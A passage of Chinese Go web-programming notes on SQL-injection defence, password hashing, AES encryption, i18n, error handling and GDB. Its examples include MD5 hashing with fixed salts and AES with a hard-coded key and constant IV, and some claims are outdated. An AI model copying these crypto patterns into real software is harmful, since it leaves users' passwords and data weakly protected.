- 嚴(yán)格限制web應(yīng)用的數(shù)據(jù)庫(kù)操作權(quán)限,給此用戶提供僅僅能滿足工作的最低權(quán)限.從而最小程度限制被攻擊后的損失
- 檢查輸入的數(shù)據(jù)是否是合法的數(shù)據(jù)格式,嚴(yán)格限制變量類型,例如使用regexp包來(lái)做正則匹配,或者使用strconv包對(duì)字符串轉(zhuǎn)化成其他基本類型的數(shù)據(jù)進(jìn)行判斷.
- 對(duì)進(jìn)入數(shù)據(jù)的特殊字符（'"\尖括號(hào)&*;等）進(jìn)行轉(zhuǎn)義處理,或者編碼轉(zhuǎn)換,常見的就是base64.go的text/template包里面的HTMLEscapeString函數(shù)可以對(duì)字符串進(jìn)行轉(zhuǎn)義處理
- 所有的查詢語(yǔ)句使用數(shù)據(jù)庫(kù)提供的參數(shù)化查詢接口(和PHP里面的預(yù)處理有一比),參數(shù)化的語(yǔ)句使用參數(shù)而不是將用戶輸入變量嵌入到SQL語(yǔ)句中,即不要直接拼接SQL語(yǔ)句.例如使用database/sql里面的查詢函數(shù)Prepare和Query，或者Exec(query string, args ...interface{})。
- 在應(yīng)用發(fā)布之前可以使用專業(yè)的SQL注入測(cè)試工具進(jìn)行測(cè)試,例如sqlmap、SQLninja等。
- 避免網(wǎng)站打印SQL錯(cuò)誤信息,比如類型錯(cuò)誤,字段不匹配等,不要把代碼里的SQL暴露出來(lái),以防止攻擊者利用錯(cuò)誤信息進(jìn)行SQL注入
存儲(chǔ)密碼
之前有很多網(wǎng)站遭遇用戶密碼泄密事件,包括京東,Linkedin,CSDN等等,前一陣Facebook好像也出了這事.
人們往往習(xí)慣在不同網(wǎng)站使用相同的密碼，所以一家“暴庫(kù)”，全部遭殃。
所以我們作為開發(fā)者,在選擇密碼存儲(chǔ)方案時(shí)一定要慎重.不要想CSDN那樣,那么大的公司居然用明文存儲(chǔ).
普通方案
目前最多的方式是將明文密碼做單向哈希后存儲(chǔ),單向哈希算法無(wú)法通過哈希后的摘要(digest)恢復(fù)原始數(shù)據(jù)，這也是“單向”二字的來(lái)源。
常用的單向哈希算法包括SHA-256, SHA-1, MD5等。
單向哈希有兩個(gè)特性：
- 同一個(gè)密碼進(jìn)行單向哈希，得到的總是唯一確定的摘要。
- 計(jì)算速度快。隨著技術(shù)進(jìn)步，一秒鐘能夠完成數(shù)十億次單向哈希計(jì)算。
就像上面這兩個(gè)特點(diǎn)一樣, 考慮到多數(shù)人所使用的密碼為常見的組合，攻擊者可以將所有密碼的常見組合進(jìn)行單向哈希，得到一個(gè)摘要組合, 然后與數(shù)據(jù)庫(kù)中的摘要進(jìn)行比對(duì)即可獲得對(duì)應(yīng)的密碼。這個(gè)摘要組合也被稱為rainbow table。也是當(dāng)前最流行最有效的破解方式.
因此通過單向加密之后存儲(chǔ)的數(shù)據(jù)，和明文存儲(chǔ)沒有多大區(qū)別
Go語(yǔ)言對(duì)這三種加密算法的實(shí)現(xiàn)如下所示,比較簡(jiǎn)單：
//import "crypto/sha256" h := sha256.New() io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") fmt.Printf("% x", h.Sum(nil))//import "crypto/sha1" h := sha1.New() io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") fmt.Printf("% x", h.Sum(nil))//import "crypto/md5" h := md5.New() io.WriteString(h, "需要加密的密碼") fmt.Printf("%x", h.Sum(nil))進(jìn)階方案
我們知道黑客可以用rainbow table來(lái)破解哈希后的密碼，很大程度上是因?yàn)榧用軙r(shí)使用的哈希算法是公開的。如果黑客不知道加密的哈希算法是什么，那他也就無(wú)從下手了。
當(dāng)前比較流行的對(duì)密碼加密時(shí)做加鹽操作,就是用固定的字符串和密碼拼在一起做hash,有的網(wǎng)站甚至或做好多次這樣哈希計(jì)算.
也有用一些禁止用戶修改的字段,在加鹽加密后再拼接這些字段,比如實(shí)名后的身份證號(hào),再次做MD5操作.這樣就可以保證每個(gè)用戶的鹽是不一樣的.
在兩個(gè)salt沒有泄露的情況下，即使黑客拿到加密后的字符串，幾乎也不可能推算出原始的密碼是什么了。
下面是一個(gè)簡(jiǎn)單的加鹽案例,比較簡(jiǎn)單
//import "crypto/md5" //假設(shè)用戶名abc，密碼123456 h := md5.New() io.WriteString(h, "需要加密的密碼")//pwmd5等于e10adc3949ba59abbe56e057f20f883e pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))//指定兩個(gè) salt： salt1 = @#$% salt2 = ^&*() salt1 := "@#$%" salt2 := "^&*()"//salt1+用戶名+salt2+MD5拼接 io.WriteString(h, salt1) io.WriteString(h, "abc") io.WriteString(h, salt2) io.WriteString(h, pwmd5)last :=fmt.Sprintf("%x", h.Sum(nil))專家方案
上面的進(jìn)階方案,在以前是絕對(duì)安全的,因?yàn)楣粽邲]有足夠的資源建立這么多的rainbow table。
但是,現(xiàn)在因?yàn)椴⑿杏?jì)算能力的提升,這種攻擊只要努力,完全可行
只要時(shí)間與資源允許，沒有破譯不了的密碼，所以我們的方案是,增加密碼計(jì)算所需耗費(fèi)的資源和時(shí)間，使別人都不可能獲得足夠量大的資源來(lái)建立所需要的rainbow table其實(shí)ASE加密就是這種感覺,利用一個(gè)引子層層加密.
這類方案有一個(gè)特點(diǎn)，算法中都有個(gè)因子，用于指明計(jì)算密碼摘要所需要的資源和時(shí)間，也就是計(jì)算強(qiáng)度。計(jì)算強(qiáng)度越大，攻擊者建立rainbow table越困難，以至于不可繼續(xù)。
這里推薦scrypt方案，scrypt是由著名的FreeBSD黑客Colin Percival為他的備份服務(wù)Tarsnap開發(fā)的。
目前Go語(yǔ)言里面支持的庫(kù)http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)其實(shí)PHP中也有類似方案,password_hash()
加密和解密數(shù)據(jù)
有時(shí)候我們存儲(chǔ)的數(shù)據(jù)可能在某一天需要再解密出來(lái),此時(shí)我們應(yīng)該在選用對(duì)稱加密算法來(lái)滿足我們的需求。
base64加解密
其實(shí)base64算不上是一種加密方式,僅僅是一種編碼方式的感覺而已,因?yàn)樗麤]有秘鑰這個(gè)概念.
package mainimport ("encoding/base64""fmt" )func base64Encode(src []byte) []byte {return []byte(base64.StdEncoding.EncodeToString(src)) }func base64Decode(src []byte) ([]byte, error) {return base64.StdEncoding.DecodeString(string(src)) }func main() {// 編碼hello := "你好啊!"debyte := base64Encode([]byte(hello))fmt.Println(debyte)// 解碼enbyte, err := base64Decode(debyte)if err != nil {fmt.Println(err.Error())}if hello != string(enbyte) {fmt.Println("解密失敗")}fmt.Println(string(enbyte)) }高級(jí)加解密
Go語(yǔ)言的crypto里面支持對(duì)稱加密的高級(jí)加解密包有：
- crypto/aes包：AES(Advanced Encryption Standard)，又稱Rijndael加密法，是美國(guó)聯(lián)邦政府采用的一種區(qū)塊加密標(biāo)準(zhǔn)。
- crypto/des包：DES(Data Encryption Standard)，是一種對(duì)稱加密標(biāo)準(zhǔn)，是目前使用最廣泛的密鑰系統(tǒng)，特別是在保護(hù)金融數(shù)據(jù)的安全中。曾是美國(guó)聯(lián)邦政府的加密標(biāo)準(zhǔn)，但現(xiàn)已被AES所替代。
這兩種算法類似,而且AES已經(jīng)取代了DES,這里就不說(shuō)DES了.我記得DES加密的話是區(qū)分,pkcs5和Pkcs7的,但是好像在AES中，pkcs#5填充和pkcs#7填充沒有任何區(qū)別。
下面通過調(diào)用函數(shù)aes.NewCipher(參數(shù)key必須是16、24或者32位的[]byte，分別對(duì)應(yīng)AES-128, AES-192或AES-256算法),返回了一個(gè)cipher.Block接口，這個(gè)接口實(shí)現(xiàn)了三個(gè)功能這三個(gè)函數(shù)實(shí)現(xiàn)了加解密操作：
type Block interface {// 塊大小返回密碼的塊大小。BlockSize() int// Encrypt將src中的第一個(gè)塊加密為dst。 // Dst和src可以指向同一個(gè)內(nèi)存。Encrypt(dst, src []byte)// Decrypt將src中的第一個(gè)塊解密為dst。 // Dst和src可以指向同一個(gè)內(nèi)存。Decrypt(dst, src []byte) }aes加密案例
package mainimport ("crypto/aes""crypto/cipher""fmt""os" )//這里是全局向量,aes加密是需要填充向量的,其實(shí)也可以是10進(jìn)制16個(gè)數(shù) var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}func main() {//需要去加密的字符串內(nèi)容即加密內(nèi)容plaintext := []byte("你好啊")//如果傳入加密串的話，plaint就是傳入的字符串if len(os.Args) > 1 {plaintext = []byte(os.Args[1])}//aes的加密字符串,其實(shí)這里應(yīng)該叫做加密的秘鑰//go秘鑰長(zhǎng)度必須是16/24/32,分別對(duì)應(yīng)AES-128, AES-192, or AES-256.key_text := "astaxie12798akljzmknm.ahkjkljl;k"if len(os.Args) > 2 {key_text = os.Args[2]}fmt.Println(len(key_text))// 創(chuàng)建加密算法aesc, err := aes.NewCipher([]byte(key_text))if err != nil {fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)os.Exit(-1)}//加密字符串,cfb形式cfb := cipher.NewCFBEncrypter(c, commonIV)ciphertext := make([]byte, len(plaintext))cfb.XORKeyStream(ciphertext, plaintext)fmt.Printf("加密后的結(jié)果%s=>%x\n", plaintext, ciphertext)// 解密字符串,cfb形式cfbdec := cipher.NewCFBDecrypter(c, commonIV)plaintextCopy := make([]byte, len(plaintext))cfbdec.XORKeyStream(plaintextCopy, ciphertext)fmt.Printf("解密后的結(jié)果%x=>%s\n", ciphertext, plaintextCopy) }國(guó)際化和本地化
國(guó)際化與本地化（Internationalization and localization,通常用i18n和L10N表示,因?yàn)樗?8個(gè)字母和10個(gè)字母,太長(zhǎng)了），國(guó)際化是將針對(duì)某個(gè)地區(qū)設(shè)計(jì)的程序進(jìn)行重構(gòu)，以使它能夠在更多地區(qū)使用，本地化是指在一個(gè)面向國(guó)際化的程序中增加對(duì)新地區(qū)的支持。
目前，Go語(yǔ)言的標(biāo)準(zhǔn)包提供i18n的支持，但是有一些比較簡(jiǎn)單的第三方實(shí)現(xiàn)，這次我們就要實(shí)現(xiàn)一個(gè)go-i18n庫(kù)，用來(lái)支持Go語(yǔ)言的i18n。
其實(shí)多語(yǔ)言國(guó)際化基本上都沒有什么難度,做國(guó)際化不同編程語(yǔ)言有很多技術(shù)方案,總結(jié)一下,基本上都是利用文字字典做匹配,有的是系統(tǒng)提供的, 有的是自己維護(hù)的.
比如PHP有g(shù)ettext()配合piedit做的二進(jìn)制文件匹配,也有自己做數(shù)組維護(hù)的.
JS主要就是利用i18這個(gè)包來(lái)做的匹配,也有自己做的.
設(shè)置默認(rèn)地區(qū)
local是一組描述世界上某一特定地區(qū)文本格式和語(yǔ)言習(xí)慣的設(shè)置的集合.
locale名通常由三個(gè)部分組成：
- 第一部分，是一個(gè)強(qiáng)制性的，表示語(yǔ)言的縮寫，例如"en"表示英文或"zh"表示中文。
- 第二部分，跟在一個(gè)下劃線之后，是一個(gè)可選的國(guó)家說(shuō)明符，用于區(qū)分講同一種語(yǔ)言的不同國(guó)家，例如"en_US"表示美國(guó)英語(yǔ)，而"en_UK"表示英國(guó)英語(yǔ)。
- 第三部分，跟在一個(gè)句點(diǎn)之后，是可選的字符集說(shuō)明符，例如"zh_CN.gb2312"表示中國(guó)使用gb2312字符集。
因?yàn)間o語(yǔ)言默認(rèn)采用的時(shí)UTF-8字符集,所以我們做i18n的時(shí)候不考慮第三部分字符集問題.
在Linux和Solaris中可以通過locale -a命名列舉所有支持的地區(qū)名,我們可以看到命名規(guī)范.
對(duì)于BSD等系統(tǒng)，沒有l(wèi)ocale命令，但是地區(qū)信息存儲(chǔ)在/usr/share/locale中
設(shè)置local
我們呢需要根據(jù)用戶的信息(訪問信息,個(gè)人信息,訪問域名等信息)來(lái)設(shè)置與之相關(guān)的local,我們可以通過如下幾個(gè)范式來(lái)設(shè)置用戶的local:
通過域名設(shè)置local
在應(yīng)用程序運(yùn)行時(shí)采用域名分級(jí)的方式,例如我們采用的時(shí)www.nihao.com當(dāng)做我們英文默認(rèn)站,而吧www.nihao.cn當(dāng)做中文站,這樣通過在程序入庫(kù)里面設(shè)置域名和相應(yīng)的local的對(duì)應(yīng)關(guān)系即可:
- 通過URL可以很明顯的區(qū)別
- 用戶通過域名很直觀的知道訪問那種語(yǔ)言的站點(diǎn)
- 在go程序中實(shí)現(xiàn)非常的簡(jiǎn)單,通過一個(gè)map就可以實(shí)現(xiàn)
- 有利于搜索引擎抓取,能提高站點(diǎn)的SEO
下面是通過域名對(duì)應(yīng)的local的代碼案例:
if r.Host == "www.asta.com" {i18n.SetLocale("en") } else if r.Host == "www.asta.cn" {i18n.SetLocale("zh-CN") } else if r.Host == "www.asta.tw" {i18n.SetLocale("zh-TW") }除了整域名設(shè)置區(qū)域外,我們可也可以通過子域名來(lái)設(shè)置地區(qū),比如en.nihao.com標(biāo)識(shí)英文,cn.nihao.com標(biāo)識(shí)中文站:
prefix := strings.Split(r.Host,".")if prefix[0] == "en" {i18n.SetLocale("en") } else if prefix[0] == "cn" {i18n.SetLocale("zh-CN") } else if prefix[0] == "tw" {i18n.SetLocale("zh-TW") }從域名參數(shù)設(shè)置locale
目前最常用的設(shè)置local的方式是URL帶參,比如www.nihao.com/hello?locale=zh或者www.nihao.com/zh/hello,這樣我們就可以設(shè)置地區(qū)i18n.SetLocale(params["locale])
這種設(shè)置方式幾乎擁有前面將的通過域名設(shè)置locale的所有優(yōu)點(diǎn),他采用resetful的方式,使我們不用使用額外的方式來(lái)處理.
但是這樣可能需要我們?cè)诿總€(gè)URL里面都要添加相應(yīng)參數(shù)的locale,說(shuō)起來(lái)是有點(diǎn)復(fù)雜和繁瑣的.不過我們也可以寫一個(gè)通用的URL,讓所有的連接地址都通過這個(gè)函數(shù)來(lái)生成,然后在這個(gè)函數(shù)里面增加local=params["locale"]參數(shù)來(lái)緩解一下
如果我們想讓地址看上去更加的restful一點(diǎn),例如:www.nihao.com/en/books和www.nihao.com/zh/books,這種方式的URL更鯉魚SEO,而且對(duì)用戶的顯示也比較好.
那么這種的URL地址可以通過router來(lái)獲取locale
mux.Get("/:locale/books", listbook)從客戶端設(shè)置地區(qū)
在一些特殊的情況下,我們需要根據(jù)客戶端的信息而不是通過URL來(lái)設(shè)置locale,這些信息可能來(lái)自客戶端設(shè)置的喜好語(yǔ)言,用戶的IP地址,用戶在注冊(cè)時(shí)填寫的所在地信息等
- Accept-Language 例如利用http請(qǐng)求頭中的語(yǔ)言設(shè)置參數(shù),一般瀏覽器都有該字段
客戶端請(qǐng)求的時(shí)候在http頭信息里有Accept-Language,我們可以通過這個(gè)來(lái)做判斷
AL := r.Header.Get("Accept-Language") if AL == "en" {i18n.SetLocale("en") } else if AL == "zh-CN" {i18n.SetLocale("zh-CN") } else if AL == "zh-TW" {i18n.SetLocale("zh-TW") }不過在實(shí)際引用中,也可以更加嚴(yán)格的判斷來(lái)進(jìn)行設(shè)置地區(qū)
- IP,我們根據(jù)相應(yīng)的IP庫(kù)，對(duì)應(yīng)訪問的IP到地區(qū)，目前全球比較常用的就是GeoIP Lite Country這個(gè)庫(kù)
- 用戶的profile,我們可以讓用戶根據(jù)我提供的選項(xiàng)自行選擇自己的語(yǔ)言,我們將其設(shè)置到用戶賬戶相關(guān)的的profile中,用戶再次登錄的時(shí)候我們就把這個(gè)設(shè)置復(fù)寫到locale設(shè)置中.
我們目前用的國(guó)際化是,用戶首次訪問的時(shí)候通過Accept-Language來(lái)判斷用戶語(yǔ)言,將用戶語(yǔ)言設(shè)置在cookie中,同時(shí)在網(wǎng)頁(yè)頭部列出平臺(tái)支持的語(yǔ)言,以供用戶選擇切換
用戶如果選擇切換語(yǔ)言,我們會(huì)在URL中帶參locale=zh_CN,在路由中匹配該參數(shù),設(shè)置用戶的語(yǔ)言.
本地化資源
設(shè)置好locale之后我們需要做的就是如何存儲(chǔ)相應(yīng)的Locale對(duì)應(yīng)的信息呢,這里面包括,文本信息,時(shí)間日期,貨幣值,視圖資源,圖片,包含文件等等.在Go語(yǔ)言中我們把這些格式信息存儲(chǔ)在JSON中，然后通過合適的方式展現(xiàn)出來(lái)。
本地化文本信息
文本新式是編寫web應(yīng)用最常用到的,也是本地化資源中最多的信息.
建立需要的語(yǔ)言相應(yīng)的map來(lái)維護(hù)一個(gè)key-value的關(guān)系，在輸出之前按需從適合的map中去獲取相應(yīng)的文本
package mainimport "fmt"var locales map[string]map[string]stringfunc main() {//聲明一個(gè)多維的maplocales = make(map[string]map[string]string, 2)//在多維map中追加一個(gè)英文map,隨后向該map田中對(duì)應(yīng)的英文內(nèi)容en := make(map[string]string, 10)en["pea"] = "pea"en["bean"] = "bean"locales["en"] = en//在多維map中追加一個(gè)中文map,隨后向該map田中對(duì)應(yīng)的中文內(nèi)容cn := make(map[string]string, 10)cn["pea"] = "豌豆"cn["bean"] = "毛豆"locales["zh-CN"] = cnlang := "zh-CN"//獲取map中的信息fmt.Println(msg(lang, "pea"))fmt.Println(msg(lang, "bean")) }func msg(locale, key string) string {if v, ok := locales[locale]; ok {if v2, ok := v[key]; ok {return v2}}return "" }上面展示了通過下標(biāo)來(lái)去翻譯內(nèi)容的處理方式,但是有時(shí)候key-value方式并不能滿足需要
比如I am 30 years old,這里這個(gè)30可能會(huì)改變的,這時(shí)候我們可以利用fmt.Printf()函數(shù)來(lái)實(shí)現(xiàn)
en["how old"] ="I am %d years old" cn["how old"] ="我今年%d歲了"fmt.Printf(msg(lang, "how old"), 30)本地化日期和時(shí)間
因?yàn)闀r(shí)區(qū)的關(guān)系,同一時(shí)刻,在不同地區(qū),標(biāo)識(shí)是不一樣的,而且應(yīng)為文化不同,每個(gè)地方的時(shí)間顯示格式也不同
例如中文環(huán)境下可能顯示：2012年10月24日 星期三 23時(shí)11分13秒 CST，而在英文環(huán)境下可能顯示:Wed Oct 24 23:11:13 CST 2012
這里面我們需要解決兩點(diǎn):
- 時(shí)區(qū)問題
- 格式問題
$GOROOT/lib/time包中的timeinfo.zip含有l(wèi)ocale對(duì)應(yīng)的時(shí)區(qū)的定義,為了獲得對(duì)應(yīng)于當(dāng)前的locale的時(shí)間 ,我們首先使用time.LoadLocaltion(name string)獲取響應(yīng)地區(qū)的locale,比如Asia/Shang或者America/Chicago對(duì)應(yīng)的時(shí)區(qū)信息,再利用此信息與調(diào)用time.Now獲得的Time對(duì)象協(xié)作來(lái)獲得最終的時(shí)間
en["time_zone"]="America/Chicago" cn["time_zone"]="Asia/Shanghai" locale,_:=time.LoadLocation(msg(lang,"time_zone")) t:=time.Now() t =t.In(loc) fmt.Println(t.Format(time.RFC3339))我們也可以通過類似文本處理的方式來(lái)解決時(shí)間格式的問題
en["date_format"]="%Y-%m-%d %H:%M:%S" cn["date_format"]="%Y年%m月%d日 %H時(shí)%M分%S秒"fmt.Println(date(msg(lang,"date_format"),t))func date(fomate string,t time.Time) string{year, month, day = t.Date()hour, min, sec = t.Clock()//解析相應(yīng)的%Y %m %d %H %M %S然后返回信息//%Y 替換成2012//%m 替換成10//%d 替換成24 }本地化貨幣值
各個(gè)地區(qū)的貨幣表示格式也不一樣,處理方式和日期和差不多
en["money"] ="USD %d" cn["money"] ="￥%d元"fmt.Println(money_format(msg(lang,"date_format"),100))func money_format(fomate string,money int64) string{return fmt.Sprintf(fomate,money) }本地化視圖和資源
有時(shí)候我們會(huì)需要根據(jù)不同的locale來(lái)展示不同的視圖,這些視圖,可能會(huì)包含不同的圖片,CSS,JS等各種靜態(tài)資源.
例如我們的目錄是這樣的:
views |--en //英文模板|--images //存儲(chǔ)圖片信息|--js //存儲(chǔ)JS文件|--css //存儲(chǔ)css文件index.tpl //用戶首頁(yè)login.tpl //登陸首頁(yè) |--zh-CN //中文模板|--images|--js|--cssindex.tpllogin.tpl有了這個(gè)目錄結(jié)構(gòu)后我們就可以在渲染的地方這樣來(lái)實(shí)現(xiàn)代碼：
view, _ := template.ParseFiles("views/"+lang+"/index.tpl") VV.Lang=lang view.Execute(os.Stdout, VV)而對(duì)于里面的header.tpl里面的資源設(shè)置如下：
// js文件 <script type="text/javascript" src="views/{{.Lang}}/js/jquery/jquery-1.8.0.min.js"></script> // css文件 <link href="views/{{.Lang}}/css/bootstrap-responsive.min.css" rel="stylesheet"> // 圖片文件 <img src="views/{{.Lang}}/images/btn.png">國(guó)際化站點(diǎn)
//todo 如果要處理多個(gè)本地化資源,而對(duì)于我們常用到的,例如簡(jiǎn)答的文本翻譯,時(shí)間日期,日子等處理.
都可以像下面這樣處理
管理多個(gè)本地包
錯(cuò)誤處理(調(diào)試和測(cè)試)
錯(cuò)誤處理
在C語(yǔ)言中,通常返回-1或者NULL之類信息來(lái)標(biāo)識(shí)錯(cuò)誤,但是對(duì)我們使用者而言,如果看API文檔,根本就不知道返回這代表了什么.
所以go定義了一個(gè)叫做error類型來(lái)顯式的表達(dá)錯(cuò)誤,在我們使用時(shí)把返回的error變量和nil做比較,來(lái)判斷操作是否成功.一般的函數(shù)都會(huì)這么設(shè)計(jì),其實(shí)包括我們自己,很多時(shí)候也會(huì)這么設(shè)計(jì)
例如os.Open()函數(shù)在打開文件失敗時(shí)將返回一個(gè)部位nil的error變量
func Open(name string) (file *File, err error)我們調(diào)用os.Open打開一個(gè)文件,如果失敗則會(huì)調(diào)用log.Fatal來(lái)輸出錯(cuò)誤信息
f, err := os.Open("nihao.txt") if err != nil {log.Fatal(err) }類似于os.Open函數(shù),標(biāo)準(zhǔn)包中所有可能會(huì)出錯(cuò)的API都會(huì)返回一個(gè)error變量,以便錯(cuò)誤處理
Error類型
error類型是一個(gè)接口類型,這是他的定義:
type error interface {Error() string }error 是一個(gè)內(nèi)置的接口類型,我們可以在/builtin包下面找到相應(yīng)的定義,而且我們?cè)诤芏鄡?nèi)部包里面用到的error是errors包下的實(shí)現(xiàn)的私有結(jié)構(gòu)errorString
//errorString是一個(gè)簡(jiǎn)單的錯(cuò)誤實(shí)現(xiàn)。 type errorString struct {s string }func (e *errorString) Error() string {return e.s }我們可以通過errors.New把一個(gè)字符串轉(zhuǎn)化為errorString,以滿足接口error的對(duì)象,其內(nèi)部實(shí)現(xiàn)如下:
// New返回格式化為指定文本的錯(cuò)誤。 func New(text string) error {return &errorString{text} }下面例子展示了如何使用errors.New:
func Sqrt(f float64) (float64, error) {if f < 0 {return 0, errors.New("math: square root of negative number")}// 實(shí)現(xiàn) }下面的例子,我們調(diào)用Sqrt的時(shí)候傳遞一個(gè)附屬,然后Juin得到了non-nil的error對(duì)象,將此對(duì)象和nil比較,結(jié)果為true.所以fmt.Println(fmt包在處理error時(shí)會(huì)調(diào)用ERROR方法)被調(diào)用,以輸出錯(cuò)誤
f, err := Sqrt(-1) if err != nil {fmt.Println(err) }自定義Error
我們知道error是一個(gè)interface,所以在實(shí)現(xiàn)我們自己的包的時(shí)候,通過定義實(shí)現(xiàn)此接口的結(jié)構(gòu),我們就可以實(shí)現(xiàn)自己的錯(cuò)誤定義
需要注意的時(shí),函數(shù)返回自定義錯(cuò)誤時(shí),返回推薦設(shè)置為error類型,而非自定義錯(cuò)誤類型,特別注意的時(shí)不要預(yù)聲明自定義錯(cuò)誤類型的變量
// 錯(cuò)誤，將可能導(dǎo)致上層調(diào)用者err!=nil的判斷永遠(yuǎn)為true。 func Decode() *SyntaxError { // 預(yù)聲明錯(cuò)誤變量var err *SyntaxError if 出錯(cuò)條件判斷 {err = &SyntaxError{}}// 錯(cuò)誤，err永遠(yuǎn)等于非nil，導(dǎo)致上層調(diào)用者err!=nil的判斷始終為truereturn err }如果我們需要更加復(fù)雜的錯(cuò)誤處理,可以參考一下net包的寫法
package nettype Error interface {errorTimeout() bool // Is the error a timeout?Temporary() bool // Is the error temporary? }在調(diào)用的地方,通過類型斷言err是不是net.Error,來(lái)細(xì)化錯(cuò)誤的處理,
就像下面,如果一個(gè)網(wǎng)絡(luò)發(fā)生臨時(shí)性錯(cuò)誤,那么會(huì)sleep 1秒之后重啟
if nerr, ok := err.(net.Error); ok && nerr.Temporary() {time.Sleep(1e9)continue } if err != nil {log.Fatal(err) }錯(cuò)誤處理
go在錯(cuò)誤處理上采用了和C類似的檢查返回值的方式,而不是其他語(yǔ)言中的那種異常方式.
這就造成了編寫上的一個(gè)很大的缺點(diǎn),錯(cuò)誤處理代碼的冗余,這種情況我們只能通過復(fù)用檢測(cè)函數(shù)來(lái)減少類似的代碼
func init() {http.HandleFunc("/view", viewRecord) }func viewRecord(w http.ResponseWriter, r *http.Request) {c := appengine.NewContext(r)key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)record := new(Record)if err := datastore.Get(c, key, record); err != nil {http.Error(w, err.Error(), 500)return}if err := viewTemplate.Execute(w, record); err != nil {http.Error(w, err.Error(), 500)} }可以看到,上面的例子中獲取數(shù)據(jù)和獲取模板展示調(diào)用時(shí)都會(huì)有檢查錯(cuò)誤,當(dāng)有錯(cuò)誤發(fā)生時(shí).調(diào)用統(tǒng)一的處理函數(shù)http.Error,返回給客戶端500錯(cuò)誤代碼,并顯示相應(yīng)的錯(cuò)誤數(shù)據(jù).
但是當(dāng)越累越多的HandleFunc加入之后,這樣的錯(cuò)誤邏輯代碼就會(huì)越來(lái)越多,我們可以通過自定義路由來(lái)縮減代碼
type appHandler func(http.ResponseWriter, *http.Request) errorfunc (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {if err := fn(w, r); err != nil {http.Error(w, err.Error(), 500)} }上面我們定義了自定義的路由器，然后我們可以通過如下方式來(lái)注冊(cè)函數(shù)：
func init() {http.Handle("/view", appHandler(viewRecord)) }當(dāng)請(qǐng)求/view的時(shí)候我們的邏輯處理可以變成如下代碼，和第一種實(shí)現(xiàn)方式相比較已經(jīng)簡(jiǎn)單了很多。
func viewRecord(w http.ResponseWriter, r *http.Request) error {c := appengine.NewContext(r)key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)record := new(Record)if err := datastore.Get(c, key, record); err != nil {return err}return viewTemplate.Execute(w, record) }上面的錯(cuò)誤處理時(shí),所有錯(cuò)誤返回給用戶的都是500錯(cuò)誤碼,我們可以把錯(cuò)誤信息處理的更加友好
type appError struct {Error errorMessage stringCode int }這樣我們的自定義路由器可以改成如下方式：
type appHandler func(http.ResponseWriter, *http.Request) *appErrorfunc (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {if e := fn(w, r); e != nil { // e is *appError, not os.Error.c := appengine.NewContext(r)c.Errorf("%v", e.Error)http.Error(w, e.Message, e.Code)} }這樣修改完自定義錯(cuò)誤之后，我們的邏輯處理可以改成如下方式：
func viewRecord(w http.ResponseWriter, r *http.Request) *appError {c := appengine.NewContext(r)key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)record := new(Record)if err := datastore.Get(c, key, record); err != nil {return &appError{err, "Record not found", 404}}if err := viewTemplate.Execute(w, record); err != nil {return &appError{err, "Can't display record", 500}}return nil }在我們?cè)L問view的時(shí)候可以根據(jù)不同的情況獲取不同的錯(cuò)誤碼和錯(cuò)誤信息，雖然這個(gè)和第一個(gè)版本的代碼量差不多，但是這個(gè)顯示的錯(cuò)誤更加明顯，提示的錯(cuò)誤信息更加友好，擴(kuò)展性也比第一個(gè)更好。
使用GDB調(diào)試
go語(yǔ)言不像PHP等動(dòng)態(tài)語(yǔ)言一樣,只要修改不需要編譯就可以直接輸出,而且可以動(dòng)態(tài)的在開發(fā)環(huán)境下打印數(shù)據(jù).雖然go語(yǔ)言也有Println之類的打印數(shù)據(jù)來(lái)調(diào)試,但是每次都要重新編譯.
go內(nèi)部已經(jīng)內(nèi)置支持了GDB，所以，我們可以通過GDB來(lái)進(jìn)行調(diào)試
注意,在Mac下運(yùn)行g(shù)db ./文件名的時(shí)候需要,需要使用root執(zhí)行,我的Mac環(huán)境有問題,導(dǎo)致最終也無(wú)法執(zhí)行,所以這里測(cè)試的這個(gè)我當(dāng)時(shí)沒正確的做,只敲了一邊.
GDB調(diào)試簡(jiǎn)介
GDB是FSF(自由軟件基金會(huì))發(fā)布的一個(gè)強(qiáng)大的類UNIX系統(tǒng)下的程序調(diào)試工具。使用GDB可以做如下事情：
- 啟動(dòng)程序，可以按照開發(fā)者的自定義要求運(yùn)行程序。
- 可讓被調(diào)試的程序在開發(fā)者設(shè)定的調(diào)置的斷點(diǎn)處停住。（斷點(diǎn)可以是條件表達(dá)式）
- 當(dāng)程序被停住時(shí)，可以檢查此時(shí)程序中所發(fā)生的事。
- 動(dòng)態(tài)的改變當(dāng)前程序的執(zhí)行環(huán)境。
目前支持調(diào)試Go程序的GDB版本必須大于7.1。
編譯Go程序的時(shí)候需要注意以下幾點(diǎn)
- 傳遞參數(shù)-ldflags "-s"，忽略debug的打印信息
- 傳遞-gcflags "-N -l" 參數(shù)，這樣可以忽略Go內(nèi)部做的一些優(yōu)化，聚合變量和函數(shù)等優(yōu)化，這樣對(duì)于GDB調(diào)試來(lái)說(shuō)非常困難，所以在編譯的時(shí)候加入這兩個(gè)參數(shù)避免這些優(yōu)化。
常用命令
GDB常用命令
- lis
簡(jiǎn)寫命令是l,用來(lái)顯示源碼,默認(rèn)顯示10行代碼,后面可帶上參數(shù)顯示的具體行
例如顯示20行l(wèi)ist 20,顯示10行,其中第20行在顯示的10行里的中間位置
- break
簡(jiǎn)寫命令是b,用來(lái)設(shè)置斷點(diǎn),后面跟上參數(shù)設(shè)置斷點(diǎn)的行數(shù),例如b 10在第十行設(shè)置斷點(diǎn)
- delete
